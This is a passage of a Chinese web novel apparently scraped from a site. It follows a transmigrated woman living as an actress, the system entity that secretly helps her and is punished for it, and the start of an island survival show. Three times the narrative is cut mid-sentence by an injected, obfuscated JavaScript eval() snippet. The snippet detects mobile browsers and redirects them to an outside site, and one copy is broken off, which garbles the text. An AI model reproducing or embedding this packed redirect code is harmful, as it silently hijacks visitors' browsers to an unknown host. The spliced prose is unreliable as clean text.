苏雨虹不知想到什么,突然笑出声:“帮她?然后呢?让她继续用我的身体享受生活,而我永远在这个冰冷的地方苟活下去,直到她死了,我再跟着彻底消失?你们系统应该也知道以前的宿主都是什么样,难道你还没放弃吗?” “五年了,我等了整整五年!不知道多少次看着不同的宿主不断轮回,一次次在病床上醒来,最后又心安理得地享受着我拼命挣来的一切,毫无底线地践踏我的理想!我光是想想就觉得恶心!” 001交握双手放到桌上,提醒道:“你不要忘记,我们签过协议,这本就是一个赌注。” 他又重复了一遍:“如果宿主完成任务,我会尝试劝她离开,你也能重获生命,回到你的身体。但同时,如果宿主不愿离开,选择留在里世界,你也要无条件承担任务失败的后果。” “我当然没忘!”苏雨虹有些失态,不自觉提高了音量,“但我凭什么要帮她?这对我有什么好处?” 001不再说话,轻轻抬起手。半空中浮现出一帧帧画面,正是苏昙前段时间的生活。 “如果是这样呢?” 画面里的她浑然不觉日常被人悄悄记录,每天重复地读剧本,背台词,查资料,做锻炼。但有些时候,依旧能看到她身上懒惰的影子,今天嘴馋了偷偷点个汉堡,明天犯困了多睡一会,不过大部分时间,还是在为新剧做准备。 她的方法虽笨,却也能明显看出,苏昙真的有在认真准备。 “那又怎么样?说不定就是在装模做样,假的要死。” “她有必要装到这种程度?”001盯着画面中的苏昙。不知为何,他还是想再争取一下。 “……” 其实苏雨虹的确没想到,会看见这样一幕,心里是有些意外的——以前的宿主没有过这样用心对待过她的事业。 其实她作为原主,能看到宿主在里世界的生活。只是在裂缝之隙的五年,遭遇过太多宿主的背刺,早就对宿主的所作所为失去希望。 “我知道,你不愿意相信她,”001放缓声音,“但直觉告诉我,这次,她有可能真的会助你重新回去,继续你的演艺事业。” “与其在这里干等,不如我先带你出去,你看过之后再决定要不要帮她。” 苏雨虹神色依旧犹豫,紧抿双唇,久久注视着眼前画面中忙碌的女子。 良久,她站起身:“这是最后一次,走吧。” * 进组前一天晚上。 “雨虹,你转发一下《黑暗之下》官方宣发的那一条新微博。” 苏昙洗完澡,打开手机就收到菁姐发来的消息。 办完菁姐交代的事,她看了眼时间,离睡觉还有些早。思来想去,苏昙试探着喊道:“001?” 话音刚落,一道男声出现:“我在。” 有一瞬间,苏昙突然安下心来。仿佛只有这样,她才能感受到片刻真实。事实上,自从来到这个世界,她就已经入戏。 她要扮演好苏雨虹,要扮演好祁素,也许未来还要演好更多人。 苏昙回过神,躺在床上望着天花板:“别忘了,你答应过要帮我。” “没忘。” “那你现在能告诉我是怎么个帮法,我好提前准备一下。”苏昙翻个身,悄悄松了口气。 可她没想到,身为一个系统,001给出的答案让人感到如此不靠谱。 ——“到时候,你只需要配合就行。” “然后呢?没了?” “该怎么做就怎么做。” 苏昙:那她具体要怎么配合?和谁配合?配合什么? 谁料,在她开口前,001先问道:“如果你成功完成任务,会想离开这吗?” “……啊?”苏昙心里为他突兀地转移话题的行为稍感无语,“为什么不离开?” 她敏锐捕捉到001话里的另一层意思,反问道:“所以,我走之后,原主还会回到这具身体里?” “只要你能完成任务,就能离开,原主也会回来。”001把对苏雨虹说的话又重述一遍。 苏昙了然:“你看,我们彼此都心知肚明,我本来就不是这个世界的人,是我的就是我的,不该属于我的,我受不起。” “但你在这里能赚很多钱,会受人追捧,不比你在原来的世界好?” “有什么好的?我在哪不能赚钱?我要人追捧干什么?” 苏昙不知道平时这个话很少,甚至不怎么出现的系统今天怎么回事,一直拉着自己问些无聊的话题。她只想赶紧睡觉。 “不管你们主神想干什么,我就想做个咸鱼,在原来的世界舒舒服服地躺平,况且那里还有我的家人和朋友。我现在配合工作,只是为了帮原主——也就是苏雨虹。完成任务,我马上就走,绝不留下。” 苏昙说完这一长段,又换个姿势躺好,拉上被子,声音渐渐弱下去。 紧接着,轻微均匀的呼吸声响起,在安静的房间里显得格外清晰。 苏昙的话仍绕在001耳边。 他同样希望如此。 * 凌晨五点半,车上。 “早,菁姐。” 苏昙一边吃早饭,一边听经纪人讲行程。 菁姐:“今天上午举行开机仪式,下午就正式开拍了。你一会过去,先让化妆师上装。等现场布置差不多后,就可以开始仪式了。” “好。” 抵达片场,苏昙换好服装,随工作人员来到化妆室。和她一起到达的,还有剧里的男主演员,沈光。 苏昙在车上听菁姐讲过一嘴,说他能参演这部剧,还是靠特殊手段拿到的机会。 他如今还在原主先前的经纪公司,由于各方面都不怎么样,一直不温不火。现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256903|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难得有了好资源,势必会再狠狠炒作一番。 不过,苏昙之前也看了许多关于他的新闻八卦,无非是旧恋情,恋情,和新恋情。在圈里,他海王的名号早就无人不知。除了自愿当鱼的,其他众多受害者中,苏雨虹就是被牵连的其中之一。 “早上好啊,雨虹。” 注意到苏昙在盯着自己看,沈光状似随意拨弄几下刚起床鸡窝一样的头发,露出微笑。 好什么,好油腻吗。 苏昙心里吐槽,面上功夫还得做到位,笑着向他点头致意。 由于服装已经穿好,再加上是现代戏,妆容没有过多要求,化妆师很快完事。 顶着妆容,苏昙又去见饰演郝局的老演员宋沙。两人之前没有合作过,所以她先熟悉一下对方。 …… 开机仪式顺利结束,到了下午正式拍摄的时间。 首先进行的是祁素和男主范懿初进警察局,认识郝局的片段。这一段要求女主表现出新人初进职场的兴奋和见到长辈时的敬佩尊重,还有对未来无限的想象憧憬。 尽管这段剧情只有几个主演参与,对演技要求也不高,但毕竟是专业团队,看到片场这么多专业的摄像头对着自己,苏昙还是忍不住紧张,台词背得毫无感情,晕头转向的也找不到该对着哪个镜头,连续NG。 苏昙不知第几次道:“抱歉抱歉,再来一次吧。” 然而,摄像机后面的郑导脸上已经有了不耐烦的神色。 “你今天下午怎么回事,老瞟镜头干什么?你真是演员吗,基本素养呢!不行就换人!”郑导吼道。 苏昙自知拖累了拍摄进度,强打起精神,又试了两次终于勉强达标。 结束后休息空隙,苏昙一个人坐在角落里观摩其他演员的戏份,反复熟悉台词。 她没想到,才第一天,自己发挥得比预想中还要差。 “雨虹。” 苏昙听见有人喊自己,抬头看见演员宋沙朝自己这边走来。 “宋老师。” 宋沙和蔼地拍拍苏昙肩膀,示意她放松:“别紧张,就是随便聊聊。” “来之前我听说你一直都很喜欢这部戏,能听你讲一下选择这个剧本的原因吗?” 老前辈温和平静的话让苏昙暂时把低落的情绪抛在脑后。 她的思绪逐渐清晰起来,之前读的剧情一点点浮出脑海,缓缓开口:“其实,我第一眼看到祁素,就能感受到她是个很赤诚的人,那时她刚进警局……” 不知不觉,半个小时很快过去。大部分都是苏昙在说,宋沙在听。 他眼里含笑,久久看着身旁的后辈,欣慰道:“我原来还猜,你是不是对剧本和人物把握不够,才会在镜头面前表现僵硬。现在看来,你完全能清楚地说出剧里的每一个细节,是我想错了。” “听说你前不久出了车祸,状态有影响很正常,但作为演员就是要能够快速调整情绪,后面好好发挥,相信你会给观众带来不错的作品!” 苏昙没想到老前辈会这么夸自己,连忙不好意思摆手:“您过奖了,我会继续努力的。” 她欲哭无泪,什么把握不够,是压根就不会演。 * 晚上还有一场夜戏,苏昙吃过饭浅浅睡一小会儿,便又赶往片场。 这场戏倒不需要丰富的情绪变化或者大段的台词,但拍的是打戏…… 苏昙坐在车上,心中早就爬满了小蚂蚁,快要急死。她太清楚苏雨虹的打戏有多专业,那可是得到过武当里武指师父认可的水平。 而她,在大学里除了体育课和体测,从没动过。就算进组之前锻炼了小半月,顶多也就练个肺活量和体态,论武术动作和流畅度根本轮不到她。 “001,001?” 苏昙喊了半天,一直无人回应。他说的帮助到底是什么?为什么到现在他人还没出现? 现场的武指老师一见到苏昙,便乐呵呵地迎了上来:“哎呀,一知道是你,我就轻松多了。” 武指先给苏昙示范几个基础的散打动作。利落的肘击,果断的下勾拳,漂亮的正蹬连在一起一气呵成,充满刚劲力道。 “雨虹,你来试试。” 逃无可逃,挣扎已经无用,苏昙干脆豁出去现学一把,握住拳头,摆好准备动作。 5. 世界一(5) 起手间,苏昙突然感到身体里涌上来一股陌生的力量,竟硬生生矫正了她不忍直视的花拳绣腿,熟练划出行云流水的动作,甚至带起一股细小微风。 武指老师意料之中点点头,“不错不错,我继续教你。” 接下来三个小时,“苏昙”先是学习了其他武术动作,而后顺利完成了拍摄。 等回到酒店,已经是半夜一点。她静静躺在床上,却丝毫没有睡意。 晚上在片场时,体内那股兴奋异样的感觉在车上已经退去,苏昙心里现在十分平静,但也充满疑惑。 为什么刚刚的她像是变了一个人? 就好像是……是苏雨虹自己在拍戏的感觉。而苏昙只是一个旁观者,默默看着发生在身上的所有事情。 她在片场试着和苏雨虹交流过,但没奏效。加上001从昨天晚上就消失不见,怎么也喊不出来,苏昙没法证实心中猜测。 * 虚空之境,一个身着白衣黑裤的男子躺在地上,精瘦的身躯布满血迹伤痕,一呼一吸都是急促的频率。 半晌,他睁开微闭的双眼,清冷的瞳孔看不到任何情绪,仿佛一把利刃,赤裸裸地和对面满身是红色触手的巨大怪物对峙。 空气中弥漫着压抑沉重的气息,红色怪物却丝毫不受影响,厉色嘲讽道:“001,你真是好大的胆子。” 地上的青年抬手抹掉嘴角的血丝,撑地站起:“我不明白。” “好啊,那我来提醒提醒你。”主神用祂的触手拍了拍001的脸,“先是带原主逃出裂缝之隙,又让原主附在宿主身上。合着,我的规矩你是一条都没记住。” “平时你耍些小聪明,我睁一只眼闭一只眼也就算了。不过,我看你最近真的是越来越放肆了!记住,永远不要忘记你什么身份,去做你该做的。” 主神留下最后一句话便消失不见,留下001独自在原地。 青年眼中的光逐渐暗淡,他注视着主神离开的方向,自言自语:“……是吗?” 感觉到凝重的氛围散去,在外面焦急等待的131立刻跑进来,扶住001。 “没事吧?你也真是的,非要和主神硬抗,又弄一身伤。与祂正面作对,无异于以卵击石,你怎么会连这个道理都不懂?” 001按住131的肩膀,问道:“你能看透祂吗,131?” “……我?”131不解地摇摇头,“从来没想过,也不想。” “那你知道我们这百十年到底在干什么?” “?”131不知道001今天为何一反常态,平常001从不会拉着自己问这些。 但他还是熟练地回答:“我们都是主神分下的一缕神识,为他工作不是很正常?祂说过,我们要改造咸鱼路人,帮助他们成长。” “可笑,”001轻声自嘲,“我问你,怎么帮?” “这……”131也不好回答,因为主神定下的规则,明确禁止子系统为宿主提供帮助,要让宿主独立完成任务。 001:“因为主神想要的,是足够听话,心甘情愿臣服于祂的系统。” 身为主神创下的子系统,131不得不承认001说的不无道理。否则,祂今天也不会将001弄成现在这个样子。 001:“可是,这种方式让我觉得不舒服,我讨厌这样的自己,不喜欢这样的工作。” “你……到底怎么了?”131觉得这样的001十分陌生。 虚空之境里的所有子系统都被主神随机赋予了不同主导性格。在他有限的认知里,除了主神赋予他的本性的“信任”,本能地去信任身边的朋友,他思考不了更深的东西。 就像001,主神赋予了他“保护”的本性,才会让他一次次违背规定,暗中给予宿主帮助。 不论最后结果如何,不论宿主是何模样,001都会一次次保护宿主,换来的,却是宿主们数不尽的辜负,还有他越来越冷淡疏离的性格,和矛盾纠结的内心。 作为001的同事兼好兄弟,这些131全都看在眼里。 但他也爱莫能助。 “算了,回去吧。” 001低喃,浑身的伤口火辣辣地持续灼烧着他,一回到寝屋,便陷入了昏睡。 * 果不其然,一连一星期,苏昙发现,每次自己要拍戏的时候,身体里总会涌出那股力量,自然地帮助自己转换情绪,在镜头面前表现出成熟的演技,顺利完成每天的拍摄。 苏昙几乎可以肯定,这就是001答应给自己的帮助。只不过有一段时间没见到他,她不知道他到底在干什么。 当日拍摄结束后,她回到车上,再次喊道:“001,你还在吗?” “我在。” “你终于出现了!”好不容易得到回应,苏昙抓住那个声音,赶紧问道,“附在我身上的就是苏雨虹吧?这是不是你说的帮助?” “对。” “我就说嘛,我怎么突然这么会演戏了。还有,你这段时间去哪了?怎么一直没出现。” 001避重就轻,简短道:“那边事多,抱歉。” 苏昙听他这么客气,也跟着客气起来:“哦哦,你忙你的,我这边没什么。” “雨虹,雨虹?发什么呆呢!”苏昙闻声,扭头看向窗外,是菁姐在喊自己。 001:“我先走了,回见。” 这人走得还真快。 苏昙心里嘀咕着走下车,问道:“菁姐,什么事?” “是这样,明天你不是有一场和沈光的对手戏嘛。我知道你不待见他,但现在都是同事,还是要做做样子的。” “我知道,放心吧。” * 今天警局接到一起跳楼案,目击者打电话的时候,那名要跳楼的女孩正站在楼顶。据目击者说,他听到女孩在这之前和家人曾大吵过一架。 因为情况紧急,局里命郝局所在的刑侦第二支队出警,其中包括祁素和范懿。 天台上。 祁素没想到,这个女孩看起来比自己还要小几岁,应该还是个学生。栏杆边的女孩精神状态濒临崩溃,所有人都不敢轻举妄动,全神贯注,屏住呼吸,生怕对当事人进行二次刺激。 这时,苏昙发现自己视线里的一个身影在动——是沈光边向前走边张开嘴打算说些什么。 “咔、咔!”郑导洪亮的声音从风中传来,夹着不太友好的情绪,“范懿你瞎动什么呢?” 就在刚刚,原主悄悄离开,苏昙重新掌控了身体主导权,站在原地乐津津地准备吃瓜。 沈光不以为然,反笑着走向导演,“郑导,我有个想法。” “不如让我来劝那个女孩。范懿身为男警,在思考问题上肯定会比祁素更理性。在这种重要关头,让他来进行劝阻的效果会更好。” 这个片段也算是剧里角色的一个小高光,是祁素冷静应对,换位思考,以理服人才挽救了一个鲜活的生命。 而以沈光的为人性格,很难把这个戏份让给别人。 苏昙本来是准备听沈光要怎么闹事情,却没想把自己也拉了进来。 这下,整个剧组的人都看着“祁素”,花絮老师也把镜头对准了苏昙,想看她出来说两句。苏昙抿了抿唇,她可不想像沈光一样,净扯些有的没的。 “其实像刚才那一幕,女孩已经情绪崩溃,甚至有了轻生的念头。而大家也都清楚,人在精神崩溃的时候几乎不存在理智或理性,所以沈光老师只靠理性劝服的想法并不是很可靠。” “而且根据人设,范懿在剧里的性格比较意气用事,经常想到什么就说什么,有勇但在危急情况下常常会忽略后果。” 苏昙说完,看了沈光一眼:大哥,是你的菜吗就往桌上端。 “在这种时候,动之以情能更快地转移当事人注意力,让当事人的思路跟着自己走。结合祁素曾经有过类似的经历,她反而更容易获得谈话主导权,使其慢慢放下戒备。最后,当事人冷静下来,才是晓之以理的时候。” “而且整部剧的基调大部分都围绕祁素的成长线展开。这一个场景里,对她的刻画也是很重要的一部分,我个人认为改了的话会对祁素性格和思考方式的展现有缺乏。” “你觉得呢,郑导?” 郑导的脸色逐渐从不悦变为平和,又转成欣赏。 剧组僵硬尴尬的气氛缓和,沈光眼看不可能再有机会,只能悻悻走回原位。 脑中紧绷的弦松下,苏昙心知没事,便回到刚才的位置站好,不再发言。 “就按雨虹的想法来。”郑导一槌定音,继续拍摄。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256904|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> * “听说你今天在片场把沈光怼得哑口无言?”菁姐一见到苏昙便紧张地问道,“你没再做其他过分的事吧?做一次公关可得要不少钱。” 苏昙嘴里被饭塞得满满当当,没法回答,只能连连摇头。 菁姐放下心,又忍不住提醒道:“以后还是要注意点,我的心脏可经不住你这么折腾。” “嗯&%¥#……”苏昙把饭咽下去,乖巧道,“知道了。” 菁姐走后,她把桌上的残渣收拾干净,瘫到床上,把001叫了出来。 “等我拍完这部剧,能不能达到离开的标准啊?” 说实话,要是以后每天都像今天这样让人心累,她还不知道还能不能坚持得住。 001:“不出意外,应该可以。” “你好好工作就行。”他接着补充道:“原主这段时间会一直在片场帮你,不用担心。” 提到苏雨虹,苏昙心里的疑问再次萌现:“你到底是怎么劝她来帮我的?还有,我能和她进行交流吗?她业务能力好强,好想和她打个招呼啊……” “关于这件事……抱歉,是我擅自让她看了你进组前的生活。没有提前和你说,希望你可以原谅。但如果没有证据,她不会轻易答应。”001道歉倒是直接,话里流出真诚歉意。 “?!”苏昙不可置信,“不是,那我睡觉洗澡脱衣服……” 001有些意外她竟然没生气,回神发现她的重点完全跑偏,愣了一下,立刻说道:“我每天也有其他工作,不是想来就能来的。如果你介意,我下次来之前会提前和你说一声。子系统们会严格尊重和保护每位宿主的隐私。” “噗——”苏昙听到001充满人机味的解释,莫名戳中了她的笑点,笑了足足半分钟才停下来。 她摆手道:“没关系,好在确实有用。要不你下次提前告诉我,多记录几段,再好好和原主夸夸我,让她们多帮帮忙?” 苏昙不知道,在她识海里,站着一个肩膀宽挺,身材颀长的男子。他桃花眼睫微垂,半闭间透出细碎眸光,正无声注视着床上那个神采奕奕的面庞。 她在他眼里,依旧是在现实世界的模样——虽没有原主那样明艳迷人,却足够素净秀气。此时正满眼期待地等着回答。 心知苏昙看不见,001仍暗自生出结论,果然,她也和以前的那些得寸进尺的宿主一样。 他不动声色与她拉开距离:“不会再有下次。” “为什么?” “主神已经发现了。” “什么?”苏昙把刚才的玩笑抛到脑后,瞬间严肃道,“难道祂不允许你们帮助宿主?那祂怎么没计较这一次?” “不会和你消失的那几天……”她心里浮出预感,“——所以,你被主神罚了?不会还是……体罚吧?!” “这些事和你无关。” 苏昙瞪大眼睛:“你们主神怎么想的?都是打工人,罚罚奖金得了!罚钱我还能还,体罚算什么?清朝早就灭了好吗!法律可没规定领导可以体罚下属!这不就是欺负人么!什么破系统,我劝你赶紧跳槽算了。” 苏昙一股脑吐槽发泄完,迟来的复杂心情涨满她心头。人因为帮她受伤,却连提都没提,还真是能忍。 “那个,谢谢你啊。你现在,应该没事了吧?” “……” 都说要想看一个人的内心,先看她的眼睛。 可房间灯光明明很充足,001却奇怪地感觉还远不如眼前那人瞳孔深处的点点碎光明亮。他突然意识到,似乎已经很久没有听到宿主一句真心实意的感谢了。 这样看,他这个宿主可真奇怪。 “所以……你为什么会决定帮我?” 苏昙心里感激,但也不想对别人有所亏欠。她能做成什么样是她的能力,结果再差她认了。001帮她一次,她便要找到机会还了这个人情。 帮?001回过神。 连他自己都不知道是自愿的本性使然,还是因为被赋予的保护欲不得不为之,又或是依旧天真地愿意再试着相信一次宿主。 001心里的小小触动彻底消失,淡淡说道:“没什么,系统应该做的。换成其他宿主,我也一样会这么选择。” 说完,没了下文,不打招呼地离开了。 6. 世界一(6) 两月时间转眼而过。 有了原主过硬的演技加持,苏昙顺利完成整部剧的拍摄,甚至比自己预期的时间要提前。 与拍剧相比,她之后的工作轻松了不少。无非是一些红毯活动,或是拍摄代言,情况都在可控范围内,她一个人还能忙得过来。 只是眼见日子一天天过去,还是没见001带来好消息。 苏昙有些着急了,隐约觉得事情没那么简单。 按理说,这第一个世界的任务已经完成,可怎么还是没收到可以离开的消息?难道哪里出了问题? 很快,她心中的预感得到证实。 * “什么!你说沈光偷税一千百万被查?!” 时隔两周,突然从菁姐口中得知这一惊天大瓜,苏昙第一反应就是担心刚刚拍好的剧还能不能播出。 “大概率没希望。”菁姐撇撇嘴,打开微博热搜,“你看看,词条全部爆了,他会不会被封杀都难说。” 苏昙无语:“沈光也太会挑时间塌房了吧。” 她算是亲身体会到什么叫做“功亏一篑”的绝望心情。最近燃起的满心希望,如今统统化为死灰,全扬了个没影。 说不生气肯定是假的,她努力拍完这部剧,是能否早点回家的关键。 更何况,《黑暗之下》这部剧,原主只会比她看得更重要。苏昙不止为自己痛心疾首,也原主感到遗憾。 “001?你知道这件事了吗?”她在识海问道。 “嗯。” “那这还算完成任务吗?”说是这样说,苏昙早已在心中做好最坏打算。 “来之前,我和主神见过一面。祂的意思是让你继续工作,静观其变。” 那就是不行了呗。 001的回答和苏昙想的八九不离十,她反倒没那么失落。 “那我到底还要留多长时间?” “好好完成任务,会离开的。” 这大概是系统们最经常对宿主说的一句话,001也不例外。 主神不会告诉子系统太多信息,之前对苏昙离开标准的猜测,都是他工作百十年积累下的经验。 一般来说,第一个世界不会太长,否则宿主很容易坚持不下去而放弃。在他看来,这次的事情,很不幸,应该正好是个巧合。 苏昙还想接着问,却听到菁姐的声音飘进耳朵。 “雨!虹!你想什么呢?上次在车里也是这样,喊半天都不应。”菁姐迷惑道。 苏昙打了个哈哈:“想工作呢菁姐。话说,最近有什么安排吗?” 菁姐想了想:“说到工作……我这有个户外生存题材的综艺,你想接吗?” 眼前新剧生死未卜,离开之期遥遥无望,苏昙只能继续硬着头皮往下走:“有本子吗,我先看看。” “好说!” * 菁姐说的这档综艺叫《四海为家》,顾名思义就是要嘉宾在野外人生地不熟的情况下,通过任务挑战和分工协作来完成一系列生存磨砺,在几乎原始的社会中探寻人类求生法则,并用镜头二十四小时记录下他们真实的求生生活。 节目组保证,拍摄时将会从旁观者的角度出发,毫无保留地向大众展现出明星私下的每一面,多层次呈现人与自然,人与自己,人与他人之间的关系,引领大众从向外探寻转为向内探寻。 简单来说,就是主打一个真实原生态。 苏昙拿到的台本里,的确没有综艺惯常的剧本,只是简单介绍了节目要求,以及嘉宾们在野外的主要任务。 至于该怎么生存,全靠自己和合作。 现在社会,无论是“去明星化”这一话题,还是“户外求生”这一主题,都是群众关注讨论的热点。再加上无剧本,无干涉,自由未知的发展走向,想必一定会吸引来很多关注。 思及苏雨虹这两年一直没参加过什么综艺,现如今手头有了一档真人秀,对宣传自己的作品,增加曝光度,倒也算是一个不错的选择。 反复斟酌过后,苏昙下定决心:“就这个综艺吧。” 签完合同,接种完疫苗,正式录制时间定在十天之后。 导演组和专家踩过点,把目的地定在泰国的桂岛。那里不但有原始美景和真实野生环境,同时也处处暗含危机和挑战。 录制分为七轮,一轮录制是三天,中途各个嘉宾还需要回去录制衍生综艺。满打满算,苏昙还要在这个世界呆够两个月。 “最后一段时间了,”苏昙安慰自己,“加油!” * 出发前两天,四男两女,共六位嘉宾,被集合到一起,做出发前最后的准备。 “请注意,所有探险者只能留下自己背包中的四样东西。现在,大家不要商量,直接请进到隔间,挑选生存工具。” 节目组导演宣布规则。 “导演,那万一我们有人挑的东西一样怎么办啊?”提问的是一个黑色卷发,穿着精致的年轻女孩。 苏昙来之前大致了解过参加的嘉宾,眼下说话的这个是前SuperOne女团成员楚舟珣。 可惜她在SuperOne解散后,一直都没什么好资源,隐隐有要糊的迹象,咖位在目前的六个人里也是最低的。楚舟珣能决定来参加这个很现实的综艺,估计是下了狠心。 “很简单,重复的物品只能留下一样,其余作废。”导演摆摆手,露出意味深长的微笑,“也就是说,重复越多,你们最后剩下的就越少。” 其余嘉宾里,年纪最大的是一位叫张柏弈的老演员,四十五岁;还有一个童星出道,现在还是大学生,年龄在六人中最小,粉丝流量却最多,叫施彦。 最后两个,一个常年活跃在各个综艺里的男主持,叫白枳,因为颜值高且业务能力强,热度很高。还有一个,就是这段时间爆火的现偶《深得你心》里的男一号,秦泽。 …… 半小时后,屈指可数的工具整齐摆放在六人面前——砍刀,急救包,篷布,水壶和一些其他的小工具。 好在还算齐全,甚至比导演组预计的多出一些。 导演把喇叭放到嘴边:“各位,两天之后,我们岛上见!” * 后日清晨,六人匆匆在曼谷落地,紧接直奔桂岛。 由于正值旅游淡季,加上选定的位置较偏僻,岛上并没有什么人,只有早早等候在此的节目组和跟着的医疗队、专家。 导演:“各位生存者们,现在你们的求生之路正式开始!在此期间,除了紧要关头,我们不会提供任何建议和帮助,只进行拍摄录制。加油吧!” 话音刚落,没想到节目组真的说一不二,布好镜头,便将六人落至一旁。 偌大的空岛安静下来,时不时回荡着浪花抚摸海滩的“沙沙”声,偶尔响起海鸥掠过树顶的悦耳鸣叫。 如果是来旅游,这里的确是一个不错的选择。 “要不……我们就开始行动?”张柏弈率先打破沉默。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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白枳似是感觉到苏昙动作的犹豫,拿过她手里的砍刀:“我力气大些,负责砍椰子。你拿好竹筐,站在下面接应我就行!” “没问题。”苏昙从善如流道。 两人默契配合,很快一手提溜一个大椰子回到集合地。 集合地里,秦施还在那里埋头生火,楚舟珣抱着肩膀蹲在一边旁观;不远处施彦拖着几捆砍下来的粗树枝堆到一起,唯独不见张柏弈。 “柏弈哥呢,他去哪了?”苏昙放下手里的东西问道。 施彦闻言,对苏昙回喊:“张老师去找其他可以找搭帐篷的地方了!” 说谁谁到,张柏弈的声音远远地从海风中传来,一个身影缓缓出现。 “——大家来一下,我找到了一块可以搭棚的地方,今晚我们就可以在那休息!” 他指向离海岸边较远的地方:“那离海水远,不用担心涨潮的问题,而且还有树荫遮挡,很凉爽。” 也许是张柏弈在六人中最为年长,大家不自觉听从他的建议和安排,迅速背上背包,拿好采来的食物,来到准备落脚的空地。 …… 桂岛远离大陆,在岛上,时间的存在感减淡了许多。 太阳渐渐落下,黑暗慢慢登岛,天淅淅沥沥下起小雨。傍晚的海边和白天温差相隔很大,此刻潮湿的海风夹杂着冰凉的雨点打到身上,即使穿上雨衣,也耐不住乘隙而入的冷意。 然而,《四海为家》的六人组,现在既没有成功生出火,也没有搭出一个像模像样的帐篷,而是一起站在雨里六目相对,不知所措。 7. 世界一(7) 所有人从早晨就匆忙赶到岛上,到现在还没进食,又一直不停在消耗体力,都处于精疲力尽的状态。 而节目组说到做到,从头到尾践行录制规则,几乎不提供帮助,只是不停拍摄。 岛上的气氛越来越凝重,每个嘉宾的脸上多多少少都挂上些私人情绪。 终于,张柏弈迈出步子,振作道:“眼下我们还是先搭一个遮雨的帐篷,不然晚上没法休息。” “大家加把劲,一起努力!” 结果,没有人回应他的话,依旧沉默站着,本就沉重的气氛变得更加尴尬。 张柏弈窘迫地搓着双手,抹掉脸上的雨水,不知道再说什么。 苏昙认为这么淋下去不是办法。她提起手中的椰子,走出来说道:“要不我们先把这几个椰子分吃了,补充点能量再接着干活,怎么样?” 楚舟珣舔舔嘴唇:“我赞同。” 张柏弈:“怪我没想到,咱们先吃点东西。” “确实没力气了。”白枳捏了捏酸软的手臂。 秦泽在一旁点头。 得到一致赞同后,施彦接过椰子,麻利地破开。众人终于尝到了上岛后的第一口新鲜水源,就连糟糕的心情也被椰汁的甘甜抚平不少。 “那我们开始吧,赶紧完成早休息。”看着大家脸色好转,苏昙趁机提议。 这一次,所有人重新行动起来,力气大的抗木头,力气小的找藤条和绳子。有了明确分工,很快,一个可以遮阳挡雨的简易帐篷有了模样。虽然不大,但六个人挤一挤还是可以睡下的。 完成时已接近后半夜,苏昙又困又累,刚躺下就进入睡眠。 一夜无梦。 * 野外终究是野外,苏昙还是有些不习惯,早早便醒来。她来到帐篷外,摄影组还没开工,只有楚舟珣坐在地上,不知低头干些什么。 “身上又潮又湿,还全是虫子咬的包,痒死了。” 楚舟珣一边给自己喷花露水,一边低声抱怨。 苏昙这才发现,自己身上也有一些红肿的痒疙瘩,估计是昨天夜里蚊虫咬的。 “你也醒了?” 楚舟珣看到苏昙胳膊上的疙瘩,把自己手里的花露水递过去。 “谢谢啊。”苏昙一手接着,另只手拿着生火工具,和楚舟珣坐到一起。“既然咱们两个先醒了,要不再试着生下火?有火烤着应该就没那么潮了。” “昨天你和秦泽可能是哪个步骤搞错了,才没能把火生起来。”她一边挑拣工具,一边和楚舟珣轻声讨论,“海边的空气湿润,很多打火木材因为受潮没法用,估计这就是失败的主要原因。咱们可以再找些更干燥的火绒试试。” 苏昙提前把火堆筑好,将目光瞄向了不远处。 刚直起身,一阵强烈的眩晕直冲头顶,眼前一片漆黑。她稳住摇晃的身体,扶着膝盖缓了缓神。 “你没事吧?”楚舟珣跟着起身。 “没事,可能起得有点猛。” “我去吧,你在这歇会。” 楚舟珣按住苏昙,看看那边,微微皱起眉,又往身上喷了小半瓶花露水,转身离开。 其实,苏昙的感觉还要再糟糕一些。 几乎整整一天,除了椰肉和椰汁,没有任何营养摄入。作为一个爱吃爱喝的普通人,说实话,她现在连脚步都开始变得虚浮。 苏昙心里清楚,虽然节目组想要真实的综艺效果,但肯定不会把事情做绝。只是其余五个人都还没有叫苦连天地抱怨,自己更不想当第一个倒下的人。 就连娇娇女人设的楚舟珣,也没有如大家想象中的娇贵。 闭目养神间,楚舟珣很快带着干燥的火绒和木材回来。 “开始吧。” 这次,苏昙决定试试钻弓取火的方法。 她抽掉自己的运动鞋鞋带,绑到楚舟珣拿来的弹性树枝上,再用一根硬树枝做钻轴,最后把火绒细致铺在石垫下。 两人默契配合,苏昙蹲下按住压石垫的木板,楚舟珣弯腰全力来回拉弓。快十分钟过去,钻轴底部慢慢冒出缕缕黑烟。 “要成了!”楚舟珣丝毫不敢松懈手劲,继续动作。 终于,希望的火星终于落到细密的火绒上,燃起心中燎原。苏昙抬头和楚舟珣对视,不约而同露出会心笑容。 * 太阳渐渐升起,光辉洒满海滩。帐篷里的人陆续醒过来。 所有人都吸取昨天的教训,提前分配好任务,保存好火种,再次出发。 